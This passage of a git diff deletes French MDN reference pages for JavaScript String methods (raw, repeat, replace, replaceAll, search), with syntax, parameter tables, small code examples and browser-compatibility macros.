Utilisée pour rechercher une correspondance entre une expression rationnelle et une chaîne, et pour remplacer la sous-chaîne correspondante par une nouvelle chaîne.
-
{{jsxref("String.prototype.search()")}}
-
Exécute la recherche d'une correspondance entre une expression régulière et une chaîne spécifiée.
-
{{jsxref("String.prototype.slice()")}}
-
Extrait une section d'une chaîne et renvoie une nouvelle chaîne.
-
{{jsxref("String.prototype.split()")}}
-
Sépare un objet String en un tableau de chaînes en séparant la chaîne en plusieurs sous-chaînes.
-
{{jsxref("String.prototype.startsWith()")}}
-
Détermine si une chaîne commence avec les caractères d'une autre chaîne.
-
{{jsxref("String.prototype.substr()")}} {{deprecated_inline}}
-
Renvoie les caractères d'une chaîne à partir de la position spécifiée et pour la longueur spécifiée.
-
{{jsxref("String.prototype.substring()")}}
-
Renvoie les caractères d'une chaîne entre deux positions dans celle-ci.
-
{{jsxref("String.prototype.toLocaleLowerCase()")}}
-
Les caractères de la chaîne seront convertis en minuscules selon la locale courante. Pour la plupart des langues, le résultat est identique à {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}}.
-
{{jsxref("String.prototype.toLocaleUpperCase()")}}
-
Les caractères de la chaîne seront convertis en majuscules selon la locale courante. Pour la plupart des langues, le résultat est identique à {{jsxref("String.toUpperCase()", "toUpperCase()")}}.
-
{{jsxref("String.prototype.toLowerCase()")}}
-
Renvoie la valeur de la chaîne appelante convertie en minuscules.
-
{{jsxref("String.prototype.toSource()")}} {{ Non-standard_inline() }}
-
Renvoie une représentation littérale de l'objet; celle-ci peut être utilisée pour créer un nouvel objet. Remplace la méthode {{jsxref("Object.prototype.toSource()")}}.
-
{{jsxref("String.prototype.toString()")}}
-
Renvoie une chaîne représentant l'objet spécifié. Remplace la méthode {{jsxref("Object.prototype.toString()")}}.
-
{{jsxref("String.prototype.toUpperCase()")}}
-
Renvoie la valeur de la chaîne appelante convertie en majuscules.
-
{{jsxref("String.prototype.trim()")}}
-
Retire les blancs en début et en fin de chaîne. Cette méthode a été définie avec ECMAScript 5.
-
{{jsxref("String.prototype.trimStart()")}}
- {{jsxref("String.prototype.trimLeft()")}}
-
Retire les blancs situés au début de la chaîne.
-
{{jsxref("String.prototype.trimEnd()")}}
- {{jsxref("String.prototype.trimRight()")}}
-
Retire les blancs situés à la fin de la chaîne.
-
{{jsxref("String.prototype.valueOf()")}}
-
Renvoie la valeur primitive de l'objet spécifié. Remplace la méthode {{jsxref("Object.prototype.valueOf()")}}.
-
{{jsxref("String.prototype.@@iterator()","String.prototype[@@iterator]()")}}
-
Renvoie un nouvel objet Iterator qui permet d'itérer sur les codets de la chaîne, chaque codet étant renvoyé comme une chaîne.
-
- -

Méthodes de transformation HTML

- -

Ces méthodes ont une utilisation limitée, étant donné qu'elles ne fournissent qu'un petit sous-ensemble des balises et attributs HTML existants.

- -
-
{{jsxref("String.prototype.anchor()")}} {{deprecated_inline}}
-
{{htmlattrxref("name", "a", "<a name=\"name\">")}} (cible hypertexte)
-
{{jsxref("String.prototype.big()")}} {{deprecated_inline}}
-
{{HTMLElement("big")}}
-
{{jsxref("String.prototype.blink()")}} {{deprecated_inline}}
-
{{HTMLElement("blink")}}
-
{{jsxref("String.prototype.bold()")}} {{deprecated_inline}}
-
{{HTMLElement("b")}}
-
{{jsxref("String.prototype.fixed()")}} {{deprecated_inline}}
-
{{HTMLElement("tt")}}
-
{{jsxref("String.prototype.fontcolor()")}} {{deprecated_inline}}
-
{{htmlattrxref("color", "font", "<font color=\"color\">")}}
-
{{jsxref("String.prototype.fontsize()")}} {{deprecated_inline}}
-
{{htmlattrxref("size", "font", "<font size=\"size\">")}}
-
{{jsxref("String.prototype.italics()")}} {{deprecated_inline}}
-
{{HTMLElement("i")}}
-
{{jsxref("String.prototype.link()")}} {{deprecated_inline}}
-
{{htmlattrxref("href", "a", "<a href=\"url\">")}} (lien vers une URL)
-
{{jsxref("String.prototype.small()")}} {{deprecated_inline}}
-
{{HTMLElement("small")}}
-
{{jsxref("String.prototype.strike()")}} {{deprecated_inline}}
-
{{HTMLElement("strike")}}
-
{{jsxref("String.prototype.sub()")}} {{deprecated_inline}}
-
{{HTMLElement("sub")}}
-
{{jsxref("String.prototype.sup()")}} {{deprecated_inline}}
-
{{HTMLElement("sup")}}
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-15.5.3.1', 'String.prototype')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype', 'String.prototype')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype', 'String.prototype')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.prototype")}}

- -

Voir aussi

- -
    -
  • {{jsxref("String")}}
    • -
  • {{jsxref("Function.prototype")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/raw/index.html b/files/fr/web/javascript/reference/objets_globaux/string/raw/index.html deleted file mode 100644 index f509b557ce..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/raw/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: String.raw() -slug: Web/JavaScript/Reference/Objets_globaux/String/raw -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/raw ---- -
{{JSRef}}
- -

La méthode statique String.raw() est une fonction d'étiquetage (tag function) pour les gabarits de chaînes de caractères (elle est semblable au préfixe r en Python ou au préfixe @ en C#). Cette fonction permet d'obtenir la chaîne brute pour un gabarit (les caractères spéciaux ne sont pas pris en compte mais retranscrits tels quels, les séquences d'échappement ne sont pas interprétées et les emplacements (ex. ${toto}) sont traités).

- -
{{EmbedInteractiveExample("pages/js/string-raw.html")}}
- - - -

Syntaxe

- -
String.raw(callSite, ...substitutions)
-
-String.raw`gabaritChaîne`
-
- -

Paramètres

- -
-
callSite
-
Un site d'appel bien formé pour un gabarit (call site object) tel que {raw: "string"}.
-
...substitutions
-
Paramètre contenant les valeurs à substituer.
-
gabaritChaîne
-
Un gabarit de chaîne de caractères, éventuellement avec des substitutions (${...}).
-
- -

Valeur de retour

- -

La chaîne de caractères brute correspondant à un gabarit donné.

- -

Exceptions

- -
-
{{jsxref("TypeError")}}
-
Une exception TypeError est renvoyée si le premier argument n'est pas un objet bien formé.
-
- -

Description

- -

Dans la plupart des cas, String.raw() est utilisé avec des gabarits de chaînes de caractères. La première syntaxe, présentée ci-avant est rarement utilisée. En effet, le moteur JavaScript appellera cette forme avec les arguments appropriés, comme pour les fonctions d'étiquetage (tag).

- -

La méthode String.raw() est la seule méthode d'étiquetage native pour les chaînes de caractères. Elle fonctionne comme la fonction par défaut pour les gabarits et permet d'effectuer des concaténations. Il est également possible d'implémenter cette méthode avec du code JavaScript.

- -

Exemples

- -
String.raw`Hi\n${2+3}!`;
-// "Hi\n5!", le caractère après "Hi" n'est pas
-// le caractère de nouvelle ligne
-// "\" et "n" sont bien deux caractères distincts
-// ici.
-
-String.raw`Hi\u000A!`;
-// "Hi\u000A!", de même ici. Les caractères
-//  \, u, 0, 0, 0, A et 6 sont distincts.
-// Tous les caractères d'échappement seront
-// inefficaces. Des backslashes peuvent donc être
-// présents dans la chaîne produite. Cela peut
-// être vérifié avec la propriété .length de la
-// chaîne.
-
-let nom = "Bob";
-String.raw`Hi\n${nom}!`;
-// "Hi\nBob!", les remplacements sont effectués.
-
-// Généralement, on n'appelle pas String.raw
-// comme une fonction, mais c'est possible :
-String.raw({raw: "test"}, 0, 1, 2);
-// "t0e1s2t"
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-string.raw', 'String.raw')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-string.raw', 'String.raw')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.raw")}}

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/objets_globaux/string/repeat/index.html b/files/fr/web/javascript/reference/objets_globaux/string/repeat/index.html deleted file mode 100644 index 3245288bd9..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/repeat/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: String.prototype.repeat() -slug: Web/JavaScript/Reference/Objets_globaux/String/repeat -tags: - - ECMAScript 2015 - - JavaScript - - Méthode - - Prototype - - Reference - - String - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/String/repeat ---- -
{{JSRef}}
- -

La méthode repeat() construit et renvoie une nouvelle chaine de caractères qui contient le nombre de copie demandée de la chaine de caractères sur laquelle la méthode a été appelée, concaténées les unes aux autres.

- -
{{EmbedInteractiveExample("pages/js/string-repeat.html")}}
- - - -

Syntaxe

- -
str.repeat(compte)
- -

Paramètres

- -
-
compte
-
Un nombre entier entre 0 and +∞ : [ 0, +∞[, indiquant le nombre de fois que la chaine de caractères doit être repétée dans la nouvelle chaine de caractères.
-
- -

Valeur de retour

- -

Une nouvelle chaîne de caractères composée du nombre indiqué de copies de la chaîne appelante.

- -

Exceptions

- -
    -
  • {{jsxref("Erreurs/Negative_repetition_count", "RangeError")}} : le nombre de répétition doit être positif.
    • -
  • {{jsxref("Erreurs/Resulting_string_too_large", "RangeError")}} : le nombre de répétition ne doit pas être infini et la taille de la chaîne résultante ne doit pas dépasser la taille maximale pour une chaîne de caractères.
    • -
- -
-
{{jsxref("RangeError")}}
-
La compteur doit être positif et inférieur à l'infini.
-
- -

Exemples

- -
"abc".repeat(-1)     // RangeError
-"abc".repeat(0)      // ""
-"abc".repeat(1)      // "abc"
-"abc".repeat(2)      // "abcabc"
-"abc".repeat(3.5)    // "abcabcabc" (le compteur est converti en un nombre entier)
-"abc".repeat(1/0)    // RangeError
-
-({toString : () => "abc", repeat : String.prototype.repeat}).repeat(2)
-// "abcabc" (repeat() est une méthode générique)
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaire
{{SpecName('ES2015', '#sec-string.prototype.repeat', 'String.prototype.repeat')}}{{Spec2('ES2015')}}Première définition.
{{SpecName('ESDraft', '#sec-string.prototype.repeat', 'String.prototype.repeat')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.repeat")}}

diff --git a/files/fr/web/javascript/reference/objets_globaux/string/replace/index.html b/files/fr/web/javascript/reference/objets_globaux/string/replace/index.html deleted file mode 100644 index 8d4f5d44a5..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/replace/index.html +++ /dev/null @@ -1,309 +0,0 @@ ---- -title: String.prototype.replace() -slug: Web/JavaScript/Reference/Objets_globaux/String/replace -tags: - - Chaîne - - Expression - - JavaScript - - Méthode - - Prototype - - Reference - - Régulière -translation_of: Web/JavaScript/Reference/Global_Objects/String/replace ---- -
{{JSRef}}
- -

La méthode replace() renvoie une nouvelle chaîne de caractères dans laquelle tout ou partie des correspondances à un modèle sont remplacées par un remplacement. Le modèle utilisé peut être une {{jsxref("RegExp")}} et le remplacement peut être une chaîne ou une fonction à appeler pour chaque correspondance. Si modèle est une chaîne de caractères, seule la première correspondance sera remplacée.

- -

La chaîne de caractère originale reste inchangée.

- -
{{EmbedInteractiveExample("pages/js/string-replace.html")}}
- - - -

Syntaxe

- -
chn.replace(regexp|souschn, nouvSouschn|fonction)
- -

Paramètres

- -
-
regexp (modèle)
-
Un objet ou un littéral {{jsxref("RegExp")}}. La ou les correspondances sont remplacées  par nouvSouschn ou par la valeur retournée par la fonction indiquée.
-
souschn (modèle)
-
Une {{jsxref("String")}} qui est à remplacer par nouvSouschn. Elle est traitée comme une chaîne de caractères verbatim et elle n'est pas interprétée comme une expression régulière. Seule la première occurrence sera remplacée.
-
nouvSouschn (remplacement)
-
La {{jsxref("String")}} qui remplace la chaîne de caractères indiquée par le paramètre regexp ou souschn. Un certain nombre de modèles de remplacement spéciaux sont supportés ; voir la section "Indiquer une chaîne de caractères comme paramètre" ci-dessous.
-
fonction (remplacement)
-
Une fonction à appeler pour créer la nouvelle sous-chaîne de caractères à utiliser pour remplacer la regexp ou la souschn donnée. Les arguments passés à cette fonction sont décrits dans la section "Indiquer une fonction comme paramètre" ci-dessous.
-
- -

Valeur retournée

- -

Une nouvelle chaîne de caractères avec tout ou partie des correspondances du modèle remplacées par un remplacement.

- -

Description

- -

Cette méthode ne change pas l'objet {{jsxref("String")}} auquel elle est appliquée. Elle retourne simplement une nouvelle chaîne de caractères.

- -

Pour réaliser une recherche et remplacement global(e), incluez le commutateur g dans l'expression régulière.

- -

Indiquer une chaîne de caractère comme paramètre

- -

La chaîne de caractère de remplacement peut inclure les modèles de remplacement spéciaux suivants :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ModèleInsère
$$Insère un "$".
$&Insère la chaine de caractère en correspondance.
$`Insère la partie de la chaîne de caractère qui précède la sous-chaîne en correspondance.
$'Insère la partie de la chaîne de caractère qui suit la sous-chaîne en correspondance.
$n -

Où n est un entier positif inférieur à 100. Insère la n ième chaîne de sous-correspondance entre parenthèses, à condition que le premier argument ait été un objet {{jsxref("RegExp")}}. Notez que ceci est réalisé en indices base 1.

-
- -

Indiquer une fonction comme paramètre

- -

Vous pouvez indiquer une fonction comme second paramètre. Dans ce cas, cette fonction sera appelée après que la recherche a été effectuée. Le résultat de la fonction (valeur retournée) sera utilisé comme chaîne de remplacement. (Note : les modèles de remplacement spéciaux mentionnés ci-dessus ne s'appliquent pas dans ce cas). Notez que cette fonction sera appelée plusieurs fois, pour chaque correspondance complète à remplacer si l'expression régulière dans le premier paramètre est globale.

- -

Les arguments de cette fonction sont les suivants :

- - - - - - - - - - - - - - - - - - - - - - - - -
Nom possibleValeur fournie
correspondanceLa chaîne de caractère en correspondance. (Correspond au $& défini ci-dessus.)
p1, p2, ... -

La n-ième chaîne de sous-correspondance entre parenthèses capturantes, à condition que le premier argument de replace() soit un objet RegExp. (Correspond aux $1, $2, etc. ci-dessus.) Par exemple, si /(\a+)(\b+)/ a été indiqué, p1 correspond à \a+, et p2 à \b+.

-
decalageLe décalage entre la sous-chaîne en correspondance à l'intérieur de la chaîne complète en cours d'analyse. (Par exemple, si la chaîne complète était 'abcd', et que le chaîne en correspondance était 'bc', alors cet argument vaudra 1.)
chaineLa chaîne complète en cours d'analyse.
- -

(Le nombre exact d'arguments varie suivant que le premier paramètre est ou non un objet {{jsxref("RegExp")}} et, dans ce cas, du nombre de sous-correspondances entre parenthèses qu'il indique.)

- -

L'exemple suivant affectera 'abc - 12345 - #$*%' à la variable nouvelleChaine :

- -
function remplaceur(correspondance, p1, p2, p3, decalage, chaine) {
-  // p1 est non numérique, p2 numérique, et p3 non-alphanumérique
-  return [p1, p2, p3].join(' - ');
-}
-var nouvelleChaine = 'abc12345#$*%'.replace(/([^\d]*)(\d*)([^\w]*)/, remplaceur);
-console.log(nouvelleChaine); // abc - 12345 - #$*%
-
- -

Exemples

- -

Définition de l'expression régulière dans replace()

- -

Dans l'exemple suivant, l'expression régulière est définie dans replace() et inclut l'indicateur d'indifférence à la casse.

- -
var chn = 'Twas the night before Xmas...';
-var nouvChn = chn.replace(/xmas/i, 'Christmas');
-console.log(nouvChn); // Twas the night before Christmas...
- -

Cela affiche 'Twas the night before Christmas...'.

- -
-

Note : Voir ce guide pour plus d'explications concernant les expressions régulières.

-
- -

Utilisation de global et ignore avec replace()

- -

Le remplacement global ne peut être fait qu'avec une expression régulière. Dans l'exemple suivant, l'expression régulière inclut les indicateurs global et indifférence à la casse, qui permettent à replace() de remplacer chaque occurrence de 'pommes' dans la chaîne par 'oranges'.

- -
var re = /pommes/gi;
-var chn = 'Les pommes sont rondes, et les pommes sont juteuses.';
-var nouvChn = chn.replace(re, 'oranges');
-console.log(nouvChn); // Les oranges sont rondes, et les oranges sont juteuses.
-
- -

Cela affiche 'Les oranges sont rondes, et les oranges sont juteuses.'.

- -

Inverser des mots dans une chaîne de caractères

- -

Le script suivant intervertit les mots dans la chaîne de caractères. Pour le texte de remplacement, le script utilise les modèles de remplacement $1 et $2.

- -
var re = /(\w+)\s(\w+)/;
-var chn = 'Jean Martin';
-var nouvChn = chn.replace(re, "$2, $1");
-console.log(nouvChn); // Martin, Jean
-
- -

Cela affiche 'Martin, Jean'.

- -

Utilisation d'une fonction inline modifiant les caractères en correspondance

- -

Dans cet exemple, toutes les occurrences des lettres majuscules sont converties en minuscules, et un tiret est inséré juste avant l'emplacement de la correspondance. La chose importante ici est que des opérations suppémentaires sont nécessaires sur l'élément en correspondance avant qu'il ne soit retourné comme remplacement.

- -

La fonction de remplacement accepte le fragment en correspondance comme paramètre, et elle l'utilise pour transformer sa casse et y concaténer le tiret avant de le retourner.

- -
function styleFormatTiret(nomPropriete) {
-  function majusculesEnTiretMinuscules(correspondance, decalage, chaine) {
-    return (decalage > 0 ? '-' : '') + correspondance.toLowerCase();
-  }
-  return nomPropriete.replace(/[A-Z]/g, majusculesEnTiretMinuscules);
-}
-
- -

Avec styleFormatTiret('borderTop'), cela renvoie 'border-top'.

- -

Du fait que nous voulons transformer davantage le résultat de la correspondance avant la substitution finale, nous devons utiliser une fonction. Cela force l'évaluation de la correspondance avant la méthode {{jsxref ("String.prototype.toLowerCase()", "toLowerCase()")}}. Si nous avions essayé de le faire en utilisant la correspondance sans fonction, le {{jsxref ("String.prototype.toLowerCase()", "toLowerCase()")}} n'aurait eu aucun effet.

- -
var nouvChn = nomPropriete.replace(/[A-Z]/g, '-' + '$&'.toLowerCase()); // ne fonctionne pas
-
- -

Ceci est dû au fait que '$&'.toLowerCase() serait d'abord évalué comme un littéral de chaîne (résultant en le même '$&') avant d'utiliser les caractères comme modèle.

- -

Remplacer un degré Fahrenheit par son équivalent Celsius

- -

L'exemple suivant remplace des degrés Fahrenheit par leur équivalent en degrés Celsius. Les degrés Fahrenheit doivent être un nombre se terminant par F. La fonction renvoie le nombre en Celsius se terminant par C. Par exemple, si le nombre de départ est 212F, la fonction renvoie 100C. Si le nombre de départ est 0F, la fonction retourne -17.77777777777778C.

- -

L'expression régulière test vérifie tout nombre se terminant par F. Le nombre de degrés Fahrenheit est accessible à la fonction via son deuxième paramètre, p1. La fonction définit le nombre Celsius sur la base des degrés Fahrenheit transmis dans une chaîne à la fonction f2c(). f2c() renvoie ensuite le nombre Celsius. Cette fonction se rapproche de l'indicateur s///e de Perl.

- -
function f2c(x) {
-  function convertir(chn, p1, decalage, s) {
-    return ((p1-32) * 5/9) + 'C';
-  }
-  var s = String(x);
-  var test = /(-?\d+(?:\.\d*)?)F\b/g;
-  return s.replace(test, convertir);
-}
-
- -

Utiliser une fonction inline avec une expression régulière pour éviter des boucles for

- -

L'exemple suivant accepte un modèle chaîne et le convertit en un tableau d'objets.

- -

Entrée :

- -

Une chaîne de caractères composée des caractères x, - et _

- -
x-x_
-x---x---x---x---
-x-xxx-xx-x-
-x_x_x___x___x___
- -
Sortie :
- -
- -
Un tableau d'objets. Un 'x' dénote un état 'marche', un '-' symbolise un état 'arret' et un  '_' (blanc souligné) symbolise la longueur d'un état 'marche'.
- -
- -
[
-  { marche: true, longueur: 1 },
-  { marche: false, longueur: 1 },
-  { marche: true, longueur: 2 }
-  ...
-]
- -
Fragment :
- -
- -
-
var chn = 'x-x_';
-var tabRet = [];
-chn.replace(/(x_*)|(-)/g, function(correspondance, $1, $2){
-  if($1) tabRet.push({ marche: true, longueur: $1.length });
-  if($2) tabRet.push({ marche: false, longueur: 1 });
-});
-
-console.log(tabRet);
-
- -
Ce fragment génère un tableau de 3 objets au format désiré sans utiliser de boucle for.
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée en JavaScript 1.2
{{SpecName('ES5.1', '#sec-15.5.4.11', 'String.prototype.replace')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-string.prototype.replace', 'String.prototype.replace')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-string.prototype.replace', 'String.prototype.replace')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.replace")}}

- -

Notes spécifiques à Firefox

- -
    -
  • flags était un troisième argument non standard disponible uniquement dans Gecko : str.replace(regexp|substr, newSubStr|function, flags)
    • -
  • À partir de Gecko 27 {{geckoRelease(27)}}, cette méthode a été modifiée pour être conforme à la spécification ECMAScript. Lorsque replace() est appelée avec une expression régulière globale, la propriété {{jsxref("RegExp.lastIndex")}} (si elle est définie) sera remise à 0 ({{bug(501739)}}).
    • -
  • À partir de Gecko 39 {{geckoRelease(39)}}, l'argument non-standard flags est désapprouvé et déclenche un avertissement dans la console ({{bug(1142351)}}).
    • -
  • À partir de Gecko 47 {{geckoRelease(47)}}, l'argument non-standard flags n'est plus supporté dans les versions non distribution et sera bientôt retiré complètement ({{bug(1245801)}}).
    • -
  • À partir de Gecko 49 {{geckoRelease(49)}}, l'argument non-standard flags n'est plus supporté ({{bug(1108382)}}).
    • -
- -

Voir aussi

- -
    -
  • {{jsxref("String.prototype.match()")}}
    • -
  • {{jsxref("RegExp.prototype.exec()")}}
    • -
  • {{jsxref("RegExp.prototype.test()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/replaceall/index.html b/files/fr/web/javascript/reference/objets_globaux/string/replaceall/index.html deleted file mode 100644 index d526ea36f7..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/replaceall/index.html +++ /dev/null @@ -1,170 +0,0 @@ ---- -title: String.prototype.replaceAll() -slug: Web/JavaScript/Reference/Objets_globaux/String/replaceAll -translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll ---- -
{{JSRef}}
- -

La méthode replaceAll() retourne une nouvelle chaîne de caractères dans la quelle toutes les occurences de pattern ont été remplacés par replacement.L'argument pattern peut être de type chaîne de caractères ou {{jsxref("RegExp")}}, et l'argument replacement peut être une chaîne de caractères ou une fonction qui sera appelée pour trouver chaque correspondances.

- -

La chaîne de caractères initiale restera inchangée.

- -
{{EmbedInteractiveExample("pages/js/string-replaceall.html")}}
- - - -

Syntaxe

- -
const newStr = str.replaceAll(regexp|substr, newSubstr|function)
-
- -
-

Quand une `regexp` est utilisée, il est préférable d'utiliser le marqueur global ("g"); autrement, l'erreur TypeError: "replaceAll must be called with a global RegExp" sera retournée.

-
- -

Paramètres

- -
-
regexp (pattern)
-
Un objet ou litérale {{jsxref("RegExp")}} avec le marqueur global. Les correspondances sont remplacées par newSubstr ou la valeur retournée par la function spécifiée. Une RegExp sans le marqueur global ("g") renverra l'erreur TypeError: "replaceAll must be called with a global RegExp".
-
substr
-
Une {{jsxref("String")}} qui sera remplacée par newSubstr. Elle est traité comme une chaîne de caracère litéral et non pas comme une expression régulière.
-
newSubstr (remplacement)
-
La {{jsxref("String")}} qui remplacera la sous-chaîne indiqué par la regexp ou substr donnée en paramètre. Un certain nombre de pattern sont supportés, voir la section "Spécifier une chaîne de caractères comme paramètre" ci-dessous.
-
function (remplacement)
-
Une fonction qui a pour but de créer la nouvelle sous-chaîne qui remplacera les occurences trouvés via la regexp ou substr donnée en paramètre. Les arguments passés à cette fonction sont détaillé dans la section "Spécifier une fonction comme paramètre" ci-dessous.
-
- -

Valeur de retour

- -

Une nouvelle chaîne avec toutes les occurences trouvés remplacés par le pattern de remplacement.

- -

Description

- -

Cette méthode ne remplace ni ne modifie l'objet {{jsxref("String")}} original. Elle retourne juste une nouvelle chaîne de caractères.

- -

Spécifier une chaîne de caractères comme paramètre

- -

La chaîne de caractère de remplacement peut inclure les patterns de remplacement spéciaux suivant :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PatternInsertion
$$Insert un "$".
$&Insert la chaîne de caracètre trouvée.
$`Insert la portion de chaîne de caracètre qui précède celle trouvée.
$'Inserts la portion de chaîne de caracètre qui suit celle trouvée.
$nOù n est un entier positif inférieur à 100. Insert la n-ième occurence trouvée, à condition que le premier argument un objet {{jsxref("RegExp")}} . Note that this is 1-indexed.
- -

Spécifier une fonction comme paramètre

- -

Vous pouvez passer une fonction comlme second paramètre. Dans ce cas, la fonction sera appelée après qu'une occorence soit trouvée. Le résultat de la fonction (valeur de retour) sera utilisé comme chaîne de remplacement. (Note: Les remplacement spéciaux mentionner plus haut ne s'appliqueront pas dans ce cas.)

- -

A noter que la fonction sera utilisé à chaque fois qu'une occurence sera rencontrée, si l'expression régulière donné en paramètre est global.

- -

La fonction admet les argumetns suivants :

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Nom PossibleValeur fournit
matchL'occurence trouvée. (Correspond au $& du précédent tableau.)
p1, p2, ... -

Le n-ième chaîne de caractères trouvée par une sous correspondance entre parenthèses, à condition que le premier paramètre soit un objet de type {{jsxref("RegExp")}} object.
- (Correspond aux $1, $2, ... précédents.) Par exemple, si  /(\a+)(\b+)/ à été en paramètres, p1 est la correspondance pour \a+, et p2 pour \b+.

-
offsetLe décalage de la sous-chaîne trouvée dans la chaîne d'entrée. (par exemple, si la chaîne complète d'entrée était 'abcd' et la sous-chaîne 'bc' alors, cet argument vaudra 1.)
stringLa chaîne compète examinée.
- -

(Le nombre d'arguments exact dépend de si le premier arguments de replaceAll() est un objet de type {{jsxref("RegExp")}} et, si tel est le cas, du nombre le sous correspondance entre parenthèses qu'il spécifie.)

- -

Exemples

- -

Utiliser replaceAll

- -
'aabbcc'.replaceAll('b', '.');
-// 'aa..cc'
- -

Les retour de regex non global

- -

Quand on utilise une expression régulère pour chercher une valeur, elle doit être global. Cela ne marchera donc pas:

- -
'aabbcc'.replaceAll(/b/, '.');
-TypeError: replaceAll must be called with a global RegExp
-
- -

Ceci marchera:

- -
'aabbcc'.replaceAll(/b/g, '.');
-"aa..cc"
-
- -

Spécifications

- - - - - - - - - - - - -
Spécification
{{SpecName('ESDraft', '#sec-string.prototype.replaceall', 'String.prototype.replaceAll')}}
- -

Browser compatibility

- - - -

{{Compat("javascript.builtins.String.replaceAll")}}

- -

A voir également

- -
    -
  • {{jsxref("String.prototype.replace", "String.prototype.replace()")}}
    • -
  • {{jsxref("String.prototype.match", "String.prototype.match()")}}
    • -
  • {{jsxref("RegExp.prototype.exec", "RegExp.prototype.exec()")}}
    • -
  • {{jsxref("RegExp.prototype.test", "RegExp.prototype.test()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/search/index.html b/files/fr/web/javascript/reference/objets_globaux/string/search/index.html deleted file mode 100644 index 76ddab1f26..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/string/search/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: String.prototype.search() -slug: Web/JavaScript/Reference/Objets_globaux/String/search -tags: - - Expressions rationnelles - - JavaScript - - Méthode - - Prototype - - Reference - - String -translation_of: Web/JavaScript/Reference/Global_Objects/String/search ---- -
{{JSRef}}
- -

La méthode search() éxecute une recherche dans une chaine de caractères grâce à une expression rationnelle appliquée sur la chaîne courante.

- -
{{EmbedInteractiveExample("pages/js/string-search.html")}}
- - - -

Syntaxe

- -
str.search(regexp)
- -

Paramètres

- -
-
regexp
-
Un objet représentant une expression rationnelle. Si l'objet passé n'est pas un objet d'expression régulière, il est directement converti en une instance de {{jsxref("RegExp")}} en utilisant new RegExp(obj).
-
- -

Valeur de retour

- -

Si la recherche aboutit, search() renvoie un entier qui correspond à l'indice de la première correspondance trouvée dans la chaîne. Si rien n'est trouvé, la méthode renvoie -1.

- -

Description

- -

Si la recherche est positive, search() renvoie l'indice de la première correspondance pour l'expression rationnelle au sein de la chaine de caractères. Sinon, la méthode renvoie -1.

- -

Si on souhaite savoir si un motif est trouvé dans une chaine de caractères, on utilisera cette méthode (semblable à la méthode {{jsxref("RegExp.prototype.test", "test()")}}) du prototype de RegExp ; pour plus d'informations (mais une éxecution plus lente), on utilisera {{jsxref("String.prototype.match", "match()")}} (semblable à la méthode {{jsxref("RegExp.prototype.exec", "exec()")}} pour les expressions rationnelles). La méthode test est semblable mais renvoie uniquement un booléen indiquant si une correspondance a été trouvée.

- -

Exemples

- -

Dans l'exemple suivant, on utilise une chaîne de caractères pour laquelle on applique deux expressions rationnelles (la première permet d'obtenir une correspondance et la seconde n'en trouve aucune).

- -
var maChaine = "CoucOu";
-var regex1 = /[A-Z]/g;
-var regex2 = /[.]/g;
-
-console.log(maChaine.search(regex1)); // Renvoie 0, la position de la première majuscule
-console.log(maChaine.search(regex2)); // Renvoie -1 car il n'y a aucun point dans la chaîne
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2
{{SpecName('ES5.1', '#sec-15.5.4.12', 'String.prototype.search')}}{{Spec2('ES5.1')}} 
{{SpecName('ES6', '#sec-string.prototype.search', 'String.prototype.search')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-string.prototype.search', 'String.prototype.search')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.String.search")}}

- -

Notes spécifiques à Gecko

- -
    -
  • flags était un second argument non standard présent uniquement sur Gecko : str.search(regexp, flags)
    • -
  • Avant {{Gecko("8.0")}}, search() n'était pas implémenté correctement ; quand il était appelé sans paramètre ou avec {{jsxref("undefined")}}, la recherche validait la chaine de caractères "undefined", au lieu de valider une chaine de caractères vide. Cela a été corrigé ; désormais, "a".search() et "a".search(undefined) renvoient bien 0.
    • -
